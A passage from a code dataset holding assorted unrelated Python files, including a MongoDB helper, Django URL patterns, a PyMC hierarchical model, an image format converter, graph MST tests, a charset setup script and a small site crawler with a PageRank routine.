{label}\")\n\n","sub_path":"cv/pytorch/tutorial/introdutioin/dataset_loader.py","file_name":"dataset_loader.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"497192030","text":"'''\n @author: Tony La\n'''\nfrom pymongo import MongoClient\nfrom random import randint\n\nclass pyMongClient():\n def query(self, id):\n client = MongoClient()\n db = client.fngr_prints\n \n results = db.light_values.find_one({'id': id})\n if results == None: #id not in database\n self.add(id)\n results = db.light_values.find_one({'id': id})\n list = (results['red'],results['green'],results['blue'],results['blink_rate'])\n client.close()\n return list\n\n def add(self, id):\n client = MongoClient()\n db = client.fngr_prints\n \n r = randint(0,255)\n g = randint(0,255)\n b = randint(0,255)\n blinkrate = randint(0,10)\n fngr_vals = {\n 'id' : id,\n 'red' : r,\n 'green': g,\n 'blue': b,\n 'blink_rate': blinkrate\n }\n db.light_values.insert_one(fngr_vals)\n client.close()","sub_path":"python/pyMongDB.py","file_name":"pyMongDB.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"225824564","text":"from django.conf.urls import patterns, url\nfrom docs import views\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^add', views.add_doc),\n url(r'^group/(?P\\d+)$', views.group),\n url(r'^(?P\\d+)/editor$', views.editor_doc, name='editor'),\n url(r'^(?P\\d+)/edit$', views.edit_doc, name='edit'),\n url(r'^(?P\\d+)/remove$', views.remove_doc, name='remove'),\n url(r'^(?P\\d+)/files$', views.files, name='files'),\n url(r'^(?P\\d+)/file/upload$', views.upload_file, name='upload'),\n url(r'^(?P\\d+)/$', views.detail, name='detail'),\n\n)","sub_path":"docs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"81604602","text":"class RELIGIOUSBELIEFS_R_POSTCODE:\n\tdef __init__(self):\n\t\tself.DATA_DIR=\"../Processing_Data/2016_Religious_Data.csv\"\n\t\tfile_obj = open(self.DATA_DIR, 'r')\n\t\tself.file_data = file_obj.readlines()[1:-1:1]\n\t\tself.associations = {\n\t\t'Buddhism':3, 'Anglican':6, 'Asyrin Apstlic':9, 'Baptist':12,\n\t\t'Brethren':15, 'Catholic': 18, 'Christian-Christ':21, \n\t\t'Eastern Orthadox':24, 'Jehovas Witnesses':27, \n\t\t'Latter Day Saints':30, 'Lutheran':33, 'Oriental Orthadox':36, \n\t\t'Other Protestant':39, 'Pentecostal':42, 'Ptsbytrin Refrmd': 45, \n\t\t'Salvation Army':48, 'Seventh Day Adventist':51, 'Uniting Church':54,\n\t\t'Christian Non-defined': 57, 'Christian Other': 60, 'Christian Total':63, \n\t\t'Hinduism':66, 'Islam':69, 'Judaism':72, 'Indigenous':75, \n\t\t'Sikhism':78, 'Other':81, 'Secular Beliefs': 84, 'Secular Beliefs Non Religious': 87, \n\t\t'Secular 2': 90, 'Atheist':93, 'Not stated':96\n\t\t}\n\tdef religious_count(self,religion):\n\t\tindex = self.associations[religion]\n\n\t\tdata = sum([float(self.file_data[i].split(',')[index]) for i in range(len(self.file_data))])\n\n\t\t### simply returns sum of all data in list - total population\n\t\treturn data\n\n\tdef religious_count_poa(self,religion):\n\t\tindex = self.associations[religion]\n\n\t\tdata_poa = [self.file_data[i].split(',')[index] for i in range(len(self.file_data))]\n\n\t\t### returns data in list which corresponds to postal codes\n\t\treturn data_poa\n\tdef atheistic_count_poa(self):\n\t\tindex = self.associations[religion]\n\n\t\tdata_poa = [self.file_data[i].split(',')[index] for i in range(len(self.file_data))]\n\n\n\n","sub_path":"Shared_Python_modules/relgious_Beliefs.py","file_name":"relgious_Beliefs.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"130889960","text":"\"\"\"\nMore Hierarchical models. The filtration-condensation experiment.\n\"\"\"\nimport numpy as np\nimport pymc3 as pm\nimport sys\nimport matplotlib.pyplot as plt\n\n# Data\n# For each subject, specify the condition s/he was in,\n# the number of trials s/he experienced, and the number correct.\nncond = 4\nnSubj = 40\ntrials = 64\n\nN = np.repeat([trials], (ncond * nSubj))\nz = np.array([45, 63, 58, 64, 58, 63, 51, 60, 59, 47, 63, 61, 60, 51, 59, 45,\n61, 59, 60, 58, 63, 56, 63, 64, 64, 60, 64, 62, 49, 64, 64, 58, 64, 52, 64, 64,\n64, 62, 64, 61, 59, 59, 55, 62, 51, 58, 55, 54, 59, 57, 58, 60, 54, 42, 59, 57,\n59, 53, 53, 42, 59, 57, 29, 36, 51, 64, 60, 54, 54, 38, 61, 60, 61, 60, 62, 55,\n38, 43, 58, 60, 44, 44, 32, 56, 43, 36, 38, 48, 32, 40, 40, 34, 45, 42, 41, 32,\n48, 36, 29, 37, 53, 55, 50, 47, 46, 44, 50, 56, 58, 42, 58, 54, 57, 54, 51, 49,\n52, 51, 49, 51, 46, 46, 42, 49, 46, 56, 42, 53, 55, 51, 55, 49, 53, 55, 40, 46,\n56, 47, 54, 54, 42, 34, 35, 41, 48, 46, 39, 55, 30, 49, 27, 51, 41, 36, 45, 41,\n53, 32, 43, 33])\ncondition = np.repeat([0,1,2,3], nSubj)\n\n# Specify the model in PyMC\nwith pm.Model() as model:\n kappa = pm.Gamma('kappa', 1, 0.1, shape=ncond)\n mu = pm.Beta('mu', 1, 1, shape=ncond)\n theta = pm.Beta('theta', mu[condition] * kappa[condition], (1 - mu[condition]) * kappa[condition], shape=len(z))\n y = pm.Binomial('y', p=theta, n=N, observed=z)\n start = pm.find_MAP()\n #step1 = pm.Metropolis([mu,theta])\n #step2 = pm.NUTS([kappa])\n #trace = pm.sample(10000, [step1, step2], start=start, progressbar=False)\n step = pm.NUTS()\n trace = pm.sample(1000, step=step, start=start, progressbar=False)\n\n## Check the results.\nburnin = 0#5000 # posterior samples to discard\n\n## Print summary for each trace\n#pm.df_summary(trace[burnin:])\n#pm.df_summary(trace)\n\n## Check for mixing and autocorrelation\n#pm.autocorrplot(trace, varnames=['mu', 'kappa'])\n\n## Plot KDE and sampled values for each parameter.\n#pm.traceplot(trace[burnin:])\npm.traceplot(trace)\n\n\n# Create arrays with the posterior sample\nmu1_sample = trace['mu'][:,0][burnin:]\nmu2_sample = trace['mu'][:,1][burnin:]\nmu3_sample = trace['mu'][:,2][burnin:]\nmu4_sample = trace['mu'][:,3][burnin:]\n\n\n# Plot differences among filtrations experiments\nfig, ax = plt.subplots(1, 3, figsize=(15, 6))\npm.plot_posterior(mu1_sample-mu2_sample, ax=ax[0], color='skyblue')\nax[0].set_xlabel(r'$\\mu1-\\mu2$')\n\n# Plot differences among condensation experiments\npm.plot_posterior(mu3_sample-mu4_sample, ax=ax[1], color='skyblue')\nax[1].set_xlabel(r'$\\mu3-\\mu4$')\n\n# Plot differences between filtration and condensation experiments\na = (mu1_sample+mu2_sample)/2 - (mu3_sample+mu4_sample)/2\npm.plot_posterior(a, ax=ax[2], color='skyblue')\nax[2].set_xlabel(r'$(\\mu1+\\mu2)/2 - (\\mu3+\\mu4)/2$')\n\nplt.tight_layout()\nplt.savefig('Figure_9.16.png')\nplt.show()\n","sub_path":"Data-Analysis/09_FilconPyMC.py","file_name":"09_FilconPyMC.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"482442887","text":"import argparse\r\nimport os\r\nimport sys\r\nimport glob\r\nimport shutil\r\nimport cv2\r\nimport numpy as np\r\ntag = 'Freetech'\r\nversion = '0.1'\r\ndata = '2018.07.02'\r\n\r\ndef walk_dirs(path):\r\n\tprint('loading dirs...')\r\n\tsub_dirs = []\r\n\tpath_len = len(path)\r\n\tfor root, dirs, files in os.walk(path):\r\n\t\tsub_dir = root[path_len:]\r\n\t\tif len(sub_dir) == 0:\r\n\t\t\tsub_dir = '.'\r\n\t\telif sub_dir[0]=='\\\\':\r\n\t\t\tsub_dir = sub_dir[1:]\r\n\t\tif len(sub_dir) == 0:\r\n\t\t\tsub_dir = '.'\r\n\t\tsub_dirs.append(sub_dir)\r\n\t\tprint('dir: \\'%s\\''%(sub_dir))\r\n\treturn sub_dirs\r\n\r\ndef count_files(path, ext):\r\n\tprint('counting files...')\r\n\tcount = 0\r\n\tfor root, dirs, files in os.walk(path):\r\n\t\tfor file in files:\r\n\t\t\tif file.endswith(ext):\r\n\t\t\t\tsys.stdout.write('%d\\r'%(count))\r\n\t\t\t\tcount += 1\r\n\treturn count\r\n\r\ndef walk_images(path, ext):\r\n\timages = []\r\n\tfor root, dirs, files in os.walk(path):\r\n\t\tfor file in files:\r\n\t\t\tif file.endswith(ext):\r\n\t\t\t\timages.append(file)\r\n\treturn images\r\n\t\r\ndef doing(src_dir, dst_dir, quality):\r\n\t#load sub dir\r\n\tsub_dirs = walk_dirs(src_dir) \r\n\timg_num = count_files(src_dir, '.yuv')\r\n\tcount = 0\r\n\r\n\tfor sub_dir in sub_dirs:\r\n\t\tfilter = os.path.join(src_dir, sub_dir, '*.yuv')\r\n\t\timg_names = glob.glob(filter)\r\n\t\timg_names = [os.path.splitext(os.path.basename(img_name))[0] for img_name in img_names]\r\n\t\timg_names.sort()\r\n\t\tif not os.path.exists(os.path.join(dst_dir, sub_dir)):\r\n\t\t\tos.makedirs(os.path.join(dst_dir, sub_dir))\r\n\t\t\r\n\t\tfor img_name in img_names:\r\n\t\t\tsys.stdout.write('doing... [%d/%d]\\r'%(count, img_num))\r\n\t\t\tsys.stdout.flush()\r\n\t\t\tcount +=1\r\n\t\t\tsrc_pathname = os.path.join(src_dir, sub_dir, img_name+'.yuv')\r\n\t\t\tdst_pathname = os.path.join(dst_dir, sub_dir, img_name+'.jpeg')\r\n\t\t\tprint('\\r')\r\n\t\t\tif 0:\r\n\t\t\t\tsize = 1280*1920\r\n\t\t\t\tyuv = np.fromfile(src_pathname, dtype=np.uint8)\r\n\t\t\t\ty = yuv[0:size].reshape(1280,1920)\r\n\t\t\t\tu = yuv[size::2]\r\n\t\t\t\tu = np.repeat(u, 2, 0).reshape(640, 1920)\r\n\t\t\t\tu = np.repeat(u, 2 ,0)\r\n\t\t\t\tv = yuv[size+1::2]\r\n\t\t\t\tv = np.repeat(v, 2, 0).reshape(640, 1920)\r\n\t\t\t\tv = np.repeat(v, 2 ,0)\r\n\t\t\t\tprint(y.shape, u.shape, v.shape)\r\n\t\t\t\tyuv = np.dstack([y,u,v])\r\n\t\t\t\tprint(yuv.shape)\r\n\t\t\t\trgb = cv2.cvtColor(yuv, cv2.COLOR_YUV2BGR, 3)\r\n\t\t\telse:\r\n\t\t\t\tf = open(src_pathname, 'rb')\r\n\t\t\t\tyuv = f.read()\r\n\t\t\t\tyuv = np.fromstring(yuv, 'B')\r\n\t\t\t\tyuv = np.reshape(yuv,(1280 * 3 // 2, 1920))\r\n\t\t\t\trgb = cv2.cvtColor(yuv, cv2.COLOR_YUV2BGR_NV12)\r\n\t\t\t#im = cv2.imread(src_pathname)\r\n\t\t\tcv2.imwrite(dst_pathname, rgb, [int(cv2.IMWRITE_JPEG_QUALITY), 95] ) #[int(cv2.IMWRITE_PNG_COMPRESSION), quality]\r\n\r\n\t\t\r\ndef parse_args():\r\n\t'''parse args'''\r\n\tparser = argparse.ArgumentParser()\r\n\tparser.add_argument('--src_dir', default=r'\\\\10.179.2.5\\NewPerception\\DataCollection\\AR0233\\side\\Right\\yuv')\r\n\t#parser.add_argument('--src_dir', default=r'D:\\01Project\\09.DUC\\ISP\\raw')\r\n\tparser.add_argument('--dst_dir', default=r'\\\\10.179.2.5\\NewPerception\\DataCollection\\AR0233\\side\\Right\\rgb')\r\n\tparser.add_argument('--quality', default=95)\r\n\t\r\n\treturn parser.parse_args()\r\n\t\t\r\ng_sub_dirs = []\r\nif __name__ == '__main__':\r\n\targs = parse_args()\r\n\tsrc_dir = args.src_dir\r\n\tdst_dir = args.dst_dir\r\n\tquality = args.quality\r\n\t\r\n\tif 0:\r\n\t\timg = cv2.imread(r'D:\\02Develop\\temp\\20200101_0196.jpeg')\r\n\t\tyuv = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\r\n\t\tprint(yuv.shape, yuv.dtype)\r\n\t\texit()\r\n\t\r\n\tif not os.path.exists(dst_dir):\r\n\t\tos.makedirs(dst_dir)\r\n\r\n\tdoing(src_dir, dst_dir, quality)\r\n\t\r\n\tos.system('pause')","sub_path":"depth_and_motion_learning/tools/YUV2RGB.py","file_name":"YUV2RGB.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"79221549","text":"'''\n\n\n'''\nfrom multiprocessing import Pool\nimport time\nimport os\n\ndef test():\n print('.....current pid {}, ppid {}'.format(os.getpid(), os.getppid()))\n for i in range(3):\n print('.......{}'.format(i))\n time.sleep(1)\n return 'test'\n\n\ndef test2(args):\n print('....callback func...pid {}'.format(os.getpid()))\n print('.......callback func-args {}'.format(args)) #\n #args are from test return\n\npool = Pool(3)\npool.apply_async(func=test, callback=test2)\n\n# time.sleep(5)\n\nwhile True:\n time.sleep(1)\n print('.....parent process pid ={}'.format(os.getpid()))","sub_path":"Python-language/async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"457190230","text":"\"\"\"Unit tests for mst.py\"\"\"\n\n\nimport pytest\nfrom graph import Graph\nimport pandas as pd\nimport itertools\n\n\n@pytest.fixture\ndef few_names():\n return [\"A\", \"B\", \"C\"]\n\n\n@pytest.fixture\ndef few_distances():\n return [[1, 2, 3], [4, 5, 6], [-7, -8, -9]]\n\n\n@pytest.fixture\ndef few_graph(few_distances, few_names):\n df = pd.DataFrame(few_distances, columns=few_names, index=few_names)\n return Graph(df)\n\n\n@pytest.fixture\ndef book_names():\n return [\"CHV\", \"GE\", \"KO\", \"PG\", \"TX\", \"XON\"]\n\n\n@pytest.fixture\ndef book_distances():\n \"\"\"Mantenga, Stanley chapter 13 example\"\"\"\n return [\n [0, 1.15, 1.18, 1.15, 0.84, 0.89],\n [1.15, 0, 0.86, 0.89, 1.26, 1.16],\n [1.18, 0.86, 0, 0.74, 1.27, 1.11],\n [1.15, 0.89, 0.74, 0, 1.26, 1.10],\n [0.84, 1.26, 1.27, 1.26, 0, 0.94],\n [0.89, 1.16, 1.11, 1.10, 0.94, 0],\n ]\n\n\n@pytest.fixture\ndef book_graph(book_distances, book_names):\n \"\"\"Creates the graph based on the other fixtures.\"\"\"\n df = pd.DataFrame(book_distances, columns=book_names, index=book_names)\n return Graph(df)\n\n\ndef test_graphs(book_distances, book_names, few_distances, few_names):\n \"\"\"Tests that the produce graph matches the matrix.\"\"\"\n for dst, names in [\n (book_distances, book_names),\n (few_distances, few_names),\n ]:\n df = pd.DataFrame(dst, columns=names, index=names)\n graph = Graph(df)\n # For each vertex value in the graph, check it against the matrix.\n # Since distance of 0 is ignored in the graph, need to offset it if\n # present.\n for i in range(len(names)):\n offset = 0\n vertex = names[i]\n for j in range(len(graph.graph_dict[vertex])):\n if dst[j][i] == 0:\n offset = -1\n else:\n assert graph.graph_dict[vertex][j + offset][0] == dst[j][i]\n\n\ndef test_vertices(book_graph, book_names, few_graph, few_names):\n \"\"\"Tests that the created graph contains the vertices it was created\n with.\"\"\"\n for graph, names in [(book_graph, book_names), (few_graph, few_names)]:\n vertices = graph.vertices()\n assert names == vertices\n\n\ndef test_few_edges(few_graph, few_names):\n \"\"\"Tests the undirected edges are present from the created graph.\"\"\"\n all_edges = [p for p in itertools.product(few_names, repeat=2)]\n graph_edges = few_graph.edges()\n assert len(graph_edges) == len(all_edges)\n assert graph_edges == all_edges\n\n\ndef test_book_mst(book_distances, book_names):\n \"\"\"Tests the MST produces matches Stanley's book.\n\n Note that MSTs are not unique, so there is always a possibility that\n exact matching answers are not possible.\n \"\"\"\n # From Stanley chapter 13\n df = pd.DataFrame(book_distances, columns=book_names, index=book_names)\n graph = Graph(df)\n for i in range(2):\n if i == 0:\n mst = graph.kruskal_mst()\n elif i == 1:\n mst = graph.prim_mst()\n mst = sorted(mst)\n assert mst[0][0] == 0.74 and \"KO\" in mst[0] and \"PG\" in mst[0]\n assert mst[1][0] == 0.84 and \"CHV\" in mst[1] and \"TX\" in mst[1]\n assert mst[2][0] == 0.86 and \"KO\" in mst[2] and \"GE\" in mst[2]\n assert mst[3][0] == 0.89 and \"CHV\" in mst[3] and \"XON\" in mst[3]\n assert mst[4][0] == 1.10 and \"PG\" in mst[4] and \"XON\" in mst[4]\n","sub_path":"Open-Source-Soldier-of-Fortune/dmunozc-submission/test_mst.py","file_name":"test_mst.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"416936711","text":"from itertools import combinations\n\nopen('myfile.sh', 'w').close()\nf = open('myfile.sh', 'wb')\n\nfor i in combinations(range(8), 4):\n begin = 'python measure.py --user=papageorge --device=Z12-13-C4c2'\n qcs = ' {} {} {} {} '.format(*i)\n end = 'readout_calibration \\n'\n \n f.write(begin + qcs + end)\n \nf.close()\n","sub_path":"make_measurement_bash.py","file_name":"make_measurement_bash.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"598116495","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file is part of the charset python package\nCopyrighted by Karel Vedecia Ortiz \nLicense: MPL 2.0 (http://www.mozilla.org/MPL/2.0/)\n\"\"\"\n__author__ = \"Karel Antonio Verdecia Ortiz\"\n__contact__ = \"kverdecia@uci.cu, kverdecia@gmail.com\"\n\n\nimport glob\nfrom setuptools import setup, find_packages, Extension\n\ndetector_src = ['src/charset.detector.cpp'] + glob.glob('src/mozilladetector/*.cpp')\n\n\nversion = '1.0.1'\n\n\nsetup(name='charset',\n version=version,\n description=\"Clases for charset detection. Uses chardet and mozilla universal charset detection.\",\n long_description=\"\"\"\\\n\"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n keywords='',\n author='Karel Antonio Verdecia Ortiz',\n author_email='kverdecia@uci.cu, kverdecia@gmail.com',\n url='',\n license='MPL 2.0',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'chardet',\n ],\n entry_points = {\n 'console_scripts': [\n 'charset=charset.cmd:CmdCharset.run',\n ],\n 'charset.detectors': [\n 'chardet=charset.detector:Detector',\n 'mozilla=charset.detector:MozDetector',\n 'check=charset.detector:CheckDetector',\n ],\n },\n ext_modules=[\n Extension('charset.detector', detector_src, \n include_dirs=['src/mozilladetector'], language='c++'),\n ],\n \n)\n","sub_path":"pypi_install_script/charset-1.0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"16602923","text":"import numpy as np\nn, p = [int(x) for x in input().split()]\nlist_X = []\nfor i in range(n):\n list_X.append([float(x) for x in input().split()])\nX = np.array(list_X)\nlist_y = [float(x) for x in input().split()]\ny = np.array(list_y)\nXt = np.transpose(X)\nXtX = np.dot(Xt, X)\nXty = np.dot(Xt, y)\nbeta = np.linalg.solve(XtX, Xty).round(2)\nprint(beta)\n","sub_path":"5. Ordinary Squares/Ordinary Squares.py","file_name":"Ordinary Squares.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"549717069","text":"###################################################################################\n## MODULE : spell.lib.adapter.config\n## DATE : Mar 18, 2011\n## PROJECT : SPELL\n## DESCRIPTION: Base configurable entity and configuration interface for drivers\n## -------------------------------------------------------------------------------- \n##\n## Copyright (C) 2008, 2011 SES ENGINEERING, Luxembourg S.A.R.L.\n##\n## This file is part of SPELL.\n##\n## This component is free software: you can redistribute it and/or\n## modify it under the terms of the GNU Lesser General Public\n## License as published by the Free Software Foundation, either\n## version 3 of the License, or (at your option) any later version.\n##\n## This software is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n## Lesser General Public License for more details.\n##\n## You should have received a copy of the GNU Lesser General Public\n## License and GNU General Public License (to which the GNU Lesser\n## General Public License refers) along with this library.\n## If not, see .\n##\n###################################################################################\n\n#*******************************************************************************\n# SPELL Imports\n#*******************************************************************************\nfrom spell.utils.log import *\nfrom spell.lib.exception import SyntaxException\n\n#*******************************************************************************\n# Local Imports\n#*******************************************************************************\nfrom interface import Interface\n\n#*******************************************************************************\n# System Imports\n#*******************************************************************************\n\n\n###############################################################################\n# Module import definition\n\n__all__ = ['ConfigInterface,Configurable']\n\nINTERFACE_DEFAULTS = {}\n\nNO_CONFIG = [ 'command', 'commands', 'sequence', 'args', 'verify', 'config' ]\n\n###############################################################################\nclass Configurable(object):\n \n __config = {}\n \n #==========================================================================\n def __init__(self):\n self.__config = {}\n \n #==========================================================================\n def setConfig(self, source ):\n if isinstance(source,Configurable):\n self.__config = source.getConfig()\n elif type(source)==dict:\n self.__config = source.copy()\n else:\n raise BaseException(\"Cannot set configuration from \" + repr(source))\n \n #==========================================================================\n def getConfig(self, key = None):\n if key is not None:\n if self.__config.has_key(key):\n return self.__config.get(key)\n return None\n return self.__config.copy()\n\n #==========================================================================\n def addConfig(self, key, value):\n self.__config[key] = value\n\n #==========================================================================\n def updateConfig(self, key, value):\n self.__config.update({key:value})\n\n #==========================================================================\n def hasConfig(self, key):\n return self.__config.has_key(key)\n\n #==========================================================================\n def delConfig(self, key):\n if self.__config.has_key(key):\n del self.__config[key]\n \n #==========================================================================\n def buildConfig(self, args, kargs, secondary = {}, defaults = {} ):\n useConfig = {}\n # Parameters coming from defaults\n useConfig.update(defaults)\n # Parameters coming from a secondary source (interfaces)\n useConfig.update(secondary)\n # Parameters coming from this same entity\n useConfig.update(self.__config)\n # Parameters coming from user arguments\n \n # Then update the dict with the dictionary type arguments only\n if len(args)>0:\n for arg in args:\n if type(arg)==dict:\n useConfig.update(arg)\n \n # Parse named arguments, if any\n if len(kargs)>0 and kargs.has_key('config'):\n # Then update the dict with the contents of 'config'\n useConfig.update(kargs.get('config'))\n kargs.pop('config')\n \n # Update the dict with remaining kargs\n for key in kargs.keys():\n if not key in NO_CONFIG:\n useConfig[key] = kargs.get(key)\n \n return useConfig\n\n #==========================================================================\n def checkConfig(self, globals, locals):\n for key in self.__config:\n try:\n object = eval(key, globals, locals)\n except:\n raise SyntaxException(\"Unknown modifier: \" + repr(key))\n if type(object)!=str:\n raise SyntaxException(\"Not a modifier: \" + repr(key))\n \n###############################################################################\nclass ConfigInterface(Configurable,Interface):\n \"\"\"\n DESCRIPTION:\n Base class for driver configuration classes. Child classes shall\n implement the setup() and cleanup() methods. The former is used\n for preparing all objects needed by the driver to work, and the \n latter is used for cleaning up these objects.\n \"\"\"\n #==========================================================================\n def __init__(self):\n Interface.__init__(self, \"CONFIG\")\n LOG(\"Created\")\n \n #==========================================================================\n def setup(self, contextConfig, driverConfig ):\n LOG(\"Setup CONFIG adapter interface\")\n self.storeConfig( contextConfig, driverConfig )\n self.setConfig( INTERFACE_DEFAULTS )\n\n #==========================================================================\n def cleanup(self, shutdown = False):\n LOG(\"Cleanup CONFIG adapter interface\")\n \n \n","sub_path":"spell/branches/2.0/src/spell/spell/lib/adapter/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"187507490","text":"import urllib.request\nfrom bs4 import BeautifulSoup\nimport numpy as np\n\nIGNORED_EXTENSIONS = [\n # images\n 'mng', 'pct', 'bmp', 'gif', 'jpg', 'jpeg', 'png', 'pst', 'psp', 'tif',\n 'tiff', 'ai', 'drw', 'dxf', 'eps', 'ps', 'svg',\n # audio\n 'mp3', 'wma', 'ogg', 'wav', 'ra', 'aac', 'mid', 'au', 'aiff',\n # video\n '3gp', 'asf', 'asx', 'avi', 'mov', 'mp4', 'mpg', 'qt', 'rm', 'swf', 'wmv',\n 'm4a',\n # other\n 'css', 'pdf', 'doc', 'exe', 'bin', 'rss', 'zip', 'rar',\n] # SO - https://stackoverflow.com/questions/12140460/how-to-skip-some-file-type-while-crawling-with-scrapy\n\n\ndef pobierz_wszystkie_linki_z_akutalnej_strony(adres_url):\n linki = []\n status = -1\n try:\n request = urllib.request.Request(adres_url)\n\n http_resp = urllib.request.urlopen(request)\n tresc_strony = BeautifulSoup(http_resp, 'html.parser')\n for link in tresc_strony.findAll('a'):\n if type(link.get('href')) == str:\n linki.append(link.get('href'))\n status = 0\n except:\n pass # bledny adres, brak zasobu itd.\n return status, linki\n\n\ndef join_linki(linki):\n spreparowane_linki = []\n for i in linki:\n if i.find(\"//opegieka.pl\") > -1:\n spreparowane_linki.append(i)\n return spreparowane_linki\n'''\n elif (i[-1:].find('/') > -1 # ad2\n or i[-4:].find('html') > -1 or i[-2:].find('pl') > -1 or i[-3:].find('com') > -1) and i[:4].find(\n 'http') == -1: # ad3\n # print(\"dodany: \", \"https://pwsz.elblag.pl/\"+i)\n # wykluczenie\n spreparowane_linki.append(\"https://opegieka.pl/\" + i)\n for i in spreparowane_linki:\n print(i)\n return spreparowane_linki\n'''\n\n\ndef przefiltruj_linki(linki):\n przefiltrowane_linki = []\n for i in linki:\n pass_iteration = False\n for x in IGNORED_EXTENSIONS:\n wartosc = i.rfind(x)\n if i.rfind(x) == len(i) - 3:\n pass_iteration = True\n if i.find('mailto') > -1:\n pass_iteration = True\n if (pass_iteration == True):\n continue\n if i.find('#') > -1:\n i = (i[0: i.find('#')])\n przefiltrowane_linki.append(i)\n return przefiltrowane_linki\n\n\ndef modyfikuj_liste_wystapien(linki, strony_do_odwiedzenia, odwiedzone_strony, adres_url, ilosc_odwiedzin):\n for i in linki:\n if (i not in odwiedzone_strony) and (i not in strony_do_odwiedzenia):\n strony_do_odwiedzenia[i] = 1\n elif (i not in odwiedzone_strony):\n temp = strony_do_odwiedzenia[i]\n temp += 1\n strony_do_odwiedzenia.update({i: temp})\n strony_do_odwiedzenia.update({i: temp})\n else: # strona byla juz odwiedzona\n temp = odwiedzone_strony[i]\n temp += 1\n odwiedzone_strony.update({i: temp})\n\n\ndef przeszukaj_domene():\n print()\n odwiedzone_strony = {}\n strony_do_odwiedzenia = {'https://opegieka.pl/': 1}\n counter_sprawdzonych_zasobow = 0\n while (not strony_do_odwiedzenia) == False:\n counter_sprawdzonych_zasobow += 1\n print(\"Licznik sprawdzonych zasobow: \", counter_sprawdzonych_zasobow)\n adres_url, ilosc_odwiedzin = strony_do_odwiedzenia.popitem()\n odwiedzone_strony[adres_url] = ilosc_odwiedzin\n\n status_powodzenia, brudne_linki = pobierz_wszystkie_linki_z_akutalnej_strony(adres_url)\n linki_zjoinowane = join_linki(brudne_linki) # laczenie niepelnych linkow -> np. https://strona.pl + /podstrona\n linki_przefiltrowane = przefiltruj_linki(linki_zjoinowane) # usuwanie niepozadanych adresow i rozszerzn np jpg, wmv\n if (status_powodzenia == 0):\n odwiedzone_strony.update({adres_url: ilosc_odwiedzin})\n modyfikuj_liste_wystapien(linki_przefiltrowane, strony_do_odwiedzenia, odwiedzone_strony, adres_url, ilosc_odwiedzin)\n odwiedzone_sorted = sorted(odwiedzone_strony.items(), reverse=True, key=lambda x: x[1]) # po wartosciach\n return odwiedzone_sorted\n\n\ndef stworz_prostego_page_ranka(lista_stron):\n print(\"Tworzenie page rank, prosze czekac...\")\n odwiedzone_strony = {}\n strony_do_odwiedzenia = {'https://opegieka.pl/': 1}\n\n macierz_linkow = np.zeros((len(lista_stron), len(lista_stron)))\n while (not strony_do_odwiedzenia) == False:\n adres_url, ilosc_odwiedzin = strony_do_odwiedzenia.popitem()\n odwiedzone_strony[adres_url] = ilosc_odwiedzin\n\n status_powodzenia, brudne_linki = pobierz_wszystkie_linki_z_akutalnej_strony(adres_url)\n linki_zjoinowane = join_linki(brudne_linki) # laczenie niepelnych linkow -> np. https://strona.pl + /podstrona\n linki_przefiltrowane = przefiltruj_linki(\n linki_zjoinowane) # usuwanie niepozadanych adresow i rozszerzn np jpg, wmv\n if (status_powodzenia == 0):\n odwiedzone_strony.update({adres_url: ilosc_odwiedzin})\n\n modyfikuj_liste_wystapien(linki_przefiltrowane, strony_do_odwiedzenia, odwiedzone_strony, adres_url,\n ilosc_odwiedzin)\n\n # kod dla wlasciwego tworzenia page ranka\n y = lista_stron.index(adres_url)\n for i in linki_przefiltrowane:\n x = lista_stron.index(i)\n # z obecnej strony do innej moze byc wiecej niz 1 link\n # uwzglednienie linkowania strony do samej siebie\n macierz_linkow[x, y] = macierz_linkow[x, y] + (1 / len(linki_przefiltrowane))\n licz_iteracyjnie = True\n iteracja = 0\n # zaczynamy od wartosci domyslnej = 0.25 dla kazdej ze stron\n print(\"Poczatkowa wartosc page rank dla kazdej strony: \", 1 / len(lista_stron))\n biezacy_macierz_rankow = np.full((len(lista_stron), 1),[1 / len(lista_stron)])\n poprzedni_macierz_rankow = np.copy(biezacy_macierz_rankow)\n while licz_iteracyjnie==True:\n iteracja += 1\n biezacy_macierz_rankow = np.matmul(macierz_linkow, biezacy_macierz_rankow)\n suma_rankow_w_iteracji = (biezacy_macierz_rankow.sum(axis=0))[0]\n 